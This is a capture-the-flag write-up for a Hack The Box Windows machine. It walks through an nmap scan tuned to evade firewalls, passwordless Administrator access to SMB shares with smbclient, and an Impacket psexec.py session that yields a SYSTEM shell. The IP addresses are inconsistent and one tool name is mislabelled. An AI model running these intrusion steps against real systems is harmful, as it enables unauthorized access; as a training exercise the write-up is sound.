

Tactics Writeup

Created @December 8, 2025 3:07 PM

Introduction

Windows is the most popular operating system today, not only used by individual users, but also in large corporations. Due to its' navigational simplicity and the heavy reliance on a graphical user interface to relay all media and controls to the most basic user, a substantial number of entities today have their corporate network filled with hosts and servers running Windows operating systems. Whether these machines are aimed towards the end-user, your typical employee, or the on-site technical team, it still stands as a reality that Windows operating systems could easily be misconfigured due to their simplicity in presentation. The disparity of controls positioning within the administrative cluster of mechanisms that Windows has to offer means that it will not always be an easy task to cover all of the hidden nooks and crannies of the operating system when undergoing security hardening procedures, especially for the more novice of teams.

In this example, we will be taking a look at a misconfigured SMB share, which offers two types of attack vectors. One is discoverable and easy to employ. The other involves the installation and deployment of a popular exploitation framework, and while dearly effective, it comes with its own disadvantages in terms of discoverability. In the wild, you will always be met with such choices. Taking the right step, knowing the right path and perceiving the consequences of your attack vectors will prove vital to your career. Enumeration In order to get a general view of the target host, we will begin with an always-popular nmap scan. However, we will be using a new switch for the scan. Instead of the `-sV` service detection switch, we will be using `-Pn`. On a real world environment, you should expect Firewalls to be present, intercepting connections at every step and denying all nonstandard connection requests or scan attempts. During a typical nmap scan, the nmap script will perform a form of complex ping scan, which most Firewalls are set to deny automatically, without question. Repeated denials will raise suspicion, and during a typical scan, a lot of the same requests will get denied. The `-Pn` flag will skip the host discovery phase and move on straight to other probe types, silencing your active scanning to a degree. However small, this degree might prove to be the lifeline you needed before you even considered actively attacking the host.

```
➜ [✱]$ sudo nmap -sC -Pn 10.129.221.251
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-07 20:10 CST
Nmap scan report for 10.129.221.251
Host is up (0.067s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds

Host script results:
| smb2-security-mode:
|   3:1:1:
|_  Message signing enabled but not required
|_  smb2-time:
|   date: 2025-12-08T02:10:49
|_  start_date: N/A
```

According to the results of the nmap scan, the machine is running the Windows and the Server Message Block service on port 445. We have found our target. Below is a short summary of each port discovered and its' functionality, for some background information on the target. Documenting these ports and the target in general is vital before starting any kind of attack. It will help you avoiding a crashed target or a Firewall block and alert.

Port 135:

The Remote Procedure Call (RPC) service supports communication between Windows

applications. Specifically, the service implements the RPC protocol — a low-level form of inter-process communication where a client process can make requests of a server process. Microsoft's foundational COM and DCOM technologies are built on top of RPC. The service's name is RpcSs and it runs inside the shared services host process, svchost.exe. This is one of the main processes in any Windows operating system & it should not be terminated.

Port 139:

This port is used for NetBIOS. NetBIOS is an acronym for Network Basic Input/Output System. It provides services related to the session layer of the OSI model allowing applications on separate computers to communicate over a local area network. As strictly an API, NetBIOS is not a networking protocol. Older operating systems ran NetBIOS over IEEE 802.2 and IPX/SPX using the NetBIOS Frames (NBF) and NetBIOS over IPX/SPX (NBX) protocols, respectively. In modern networks, NetBIOS normally runs over TCP/IP via the NetBIOS over TCP/IP (NBT) protocol. This results in each computer in the network having both an IP address and a NetBIOS name corresponding to a (possibly different) host name. NetBIOS is also used for identifying system names in TCP/IP(Windows).

Simply saying, it is a protocol that allows communication of files and printers through the Session Layer of the OSI Model in a LAN.

Port 445:

This port is used for the SMB. SMB is a network file sharing protocol that requires an open port on a computer or server to communicate with other systems. SMB ports are generally port numbers 139 and 445. Port 139 is used by SMB dialects that communicate over NetBIOS. It's a session layer protocol designed to use in Windows operating systems over a local network. Port 445 is used by newer versions of SMB (after Windows 2000) on top of a TCP stack, allowing SMB to communicate over the Internet. This also means you can use IP addresses in order to use SMB like file sharing.

Simply saying, SMB has always been a network file sharing protocol. As such, SMB requires network ports on a computer or server to enable communication to other systems. SMB uses either IP port 139 or 445

Inherently, SMB (Server Message Block) is a file sharing protocol, which means that we might extract some useful byproducts by exploring it. This can be achieved by using the smbclient tool. It comes pre-installed with the Parrot OS used by Pwnbox, but if you don't have it on your VM, you can install it by running the command below

In order to find the appropriate switches for this tool, we can use its' help menu, which is accessed by typing the smbclient -h command. This is, however, short and not very descriptive, but it suits our needs for now. Based on the knowledge obtained so far about the structure of commands and the switch naming convention for several popular tools that we've interacted with so far, we can take a guess at what the switches output from the help menu will accomplish for us. If, however, you want to learn more details about what each command accomplishes, you can access the complete manual for the smbclient tool by typing the man smbclient command in your terminal window

```

$ smbclient -h

Usage: smbclient [-7EgBVNKPc] [-?|--help] [--usage]
      [-R|--name-resolve=NAME-RESOLVE-ORDER] [-M|--message=HOST]
      [-I|--ip-address=IP] [-E|--stderr] [-A|--list=MODES]
      [-m|--max-protocol=LEVEL] [-T|--tar=c|>IXFugbNan]
      [-D|--directory=DIR] [-c|--command=STRING] [-b|--send-buffer=BYTES]
      [-t|--timeout=SECONDS] [-p|--port=PORT] [-g|--greppable] [-q|--quiet]
      [-B|--browse] [-d|--debuglevel=DEBUGLEVEL]
      [-s|--configfile=CONFIGFILE] [-l|--log-basename=LOGFILEBASE]
      [-V|--version] [--option=name=value]
      [-O|--socket-options=SOCKETOPTIONS] [-n|--netbiosname=NETBIOSNAME]
      [-W|--workgroup=WORKGROUP] [-l|--scope=SCOPE] [-u|--user=USERNAME]
      [-N|--no-pass] [-k|--kerberos] [-A|--authentication-file=FILE]
      [-S|--signon|on|off|required] [-P|--machine-pass] [-e|--encrypt]
      [-C|--use-ccache] [--pw-nt-hash] service <password>

```

Upon exploring the choices, we will settle on the command below, in order to list the various available shares (-L) and to attempt a login as the Administrator account, which is the high privilege standard account for Windows operating systems. Typically, the SMB server will request a password, but since we want to cover all aspects of possible misconfigurations, we can attempt a passwordless login. Simply hitting the Enter key when prompted for the Administrator password will send a blank input to the server. Wether it accepts it or not, we still need to discover.

- L : List available shares on the target.
- U : Login identity to use.

```

[*]$ smbclient -L //10.129.221.251/ -U Administrator
Password for [WORKGROUP\Administrator]:

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
C$             Disk      Default share
IPC$           IPC       Remote IPC

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.221.251 failed (Error NT_STATUS_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

```

Foothold

From here we have two options of attack. One is loud, one is not.

Smbclient simple navigation to C\$ share with Administrator authorization

PSexec.py from Impacket, involving Impacket installation and common attack surface, big fingerprinting.

Option A: SMB Unprotected C\$ Share

smbclient \\\10.10.10.131\ADMIN\$ -U Administrator

```

[*]$ smbclient \\\10.129.221.251\C$ -U Administrator
Password for [WORKGROUP\Administrator]:
Try "help" to get a list of possible commands.
smb: \> dir
$Recycle.Bin           DHS           0 Wed Apr 21 10:23:49
Config.Msi             DHS           0 Wed Jul 7 13:04:56
Documents and Settings DHSn          0 Wed Apr 21 10:17:12
pagefile.sys           AHS 738197504 Sun Dec 7 20:05:36
PerfLogs               D             0 Sat Sep 15 02:19:00
Program Files          DR            0 Wed Jul 7 13:04:24
Program Files (x86)    D             0 Wed Jul 7 13:03:38
ProgramData            DH            0 Tue Sep 13 11:27:53
Recovery               DHSn          0 Wed Apr 21 10:17:15
System Volume Information DHS           0 Wed Apr 21 10:34:04
Users                  DR            0 Wed Apr 21 10:23:18
Windows                D             0 Wed Jul 7 13:05:23

3774463 blocks of size 4096, 1158230 blocks available

```

We have access to the file system. From here, we will directly navigate to the standard root flag location on any Hack The Box Windows vulnerable machine: C:\Users\Administrator\Desktop . Using the dir command, we discover the flag file present snugly on our system.

```
smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop> dir
.                DR          0   Thu Apr 22 02:16:03 2021
..               DR          0   Thu Apr 22 02:16:03 2021
desktop.ini      AHS        282  Wed Apr 21 10:23:32 2021
flag.txt         A          32   Fri Apr 23 04:39:00 2021

3774463 blocks of size 4096. 1158230 blocks available
smb: \Users\Administrator\Desktop> cat flag.txt
cat: command not found
smb: \Users\Administrator\Desktop> get flag.txt
getting file \Users\Administrator\Desktop\flag.txt of size 32 as flag.txt
0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
```

In order to retrieve the flag.txt file from the server, we can use the get flag.txt command. This will initialize a download with the output location being our last visited directory on our attacker VM at the point of running the smbclient tool.

Option B: Impacket

We managed to get the SMB command-line interactive interface. However, since we can access this ADMIN\$ share, we will try to use a tool called psexec.py to exploit this misconfiguration & get the interactive system shell. The psexec.py is part of the Impacket framework.

Impacket is a framework written in Python for working with network protocols. It is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB and MSRPC) the protocol implementation itself. In short, Impacket contains dozens of amazing tools for interacting with windows systems and applications, many of which are ideal for attacking Windows and Active Directory.

One of the most commonly used tools in impacket is psexec.py . It is named after the utility, PsExec from Microsoft's Sysinternals suite since it performs the same function of enabling us to execute a fully interactive shell on remote Windows machines.

PsExec is a portable tool from Microsoft that lets you run processes remotely using any user's credentials. It's a bit like a remote access program but instead of controlling the computer with a mouse, commands are sent via Command Prompt, without having to manually install client software.

Like any tool, it's important to understand how the Impacket's psexec works.

Impacket creates a remote service by uploading a randomly-named executable on the ADMIN\$ share on the remote system and then register it as a Windows service. This will result in having an interactive shell available on the remote Windows system via TCP port 445 .

Psexec requires credentials for a user with local administrator privileges or higher since reading/writing to the ADMIN\$ share is required. Once you successfully authenticate, it will drop you into a NT AUTHORITY\SYSTEM shell.

We can Download Impacket from this link.

Installation guide:

Note: In case you don't have pip3 (pip for Python3) installed, or Python3, install it with the following commands:

```
sudo apt install python3 python3-pip
```

The pkexec utility can be found at /impacket/examples/pkexec.py . Run the following command to see the help information for psexec.py :

```
psexec.py -h
```

```
git clone https://github.com/SecureAuthCorp/impacket.git
```

```
cd impacket
```

```
pip3 install .
```

The syntax for simply getting an interactive shell from a target :

```
python psexec.py username:password@hostIP
```

From the previous method in which we used smbclient , so we know that there is no password for the 'Administrator' user. So, the command we are going to run is:

`psexec.py administrator@10.10.10.131`

When it prompts for entering a password, simply press enter (as there is no password).

```
$ python3 psexec.py administrator@{target_IP}
Impacket v0.9.24.dev1+20210706.140217.6da655ca - Copyright 2021 SecureAuth Corporation

Password:
[*] Requesting shares on {target_IP}.....
[*] Found writable share ADMIN$
[*] Uploading file BwggEOxP.exe
[*] Opening SVCManager on {target_IP}.....
[*] Creating service ykbr on {target_IP}.....
[*] Starting service ykbr.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system
```

We got the shell with the highest privileges, i.e. as user NT Authority/System .

Awesome! Now, you can browse the file system and retrieve the flag.

However, using the psexec utility is often preferred in simulated testing environments, but it can be easily detected by the Windows Defender in real-world assessments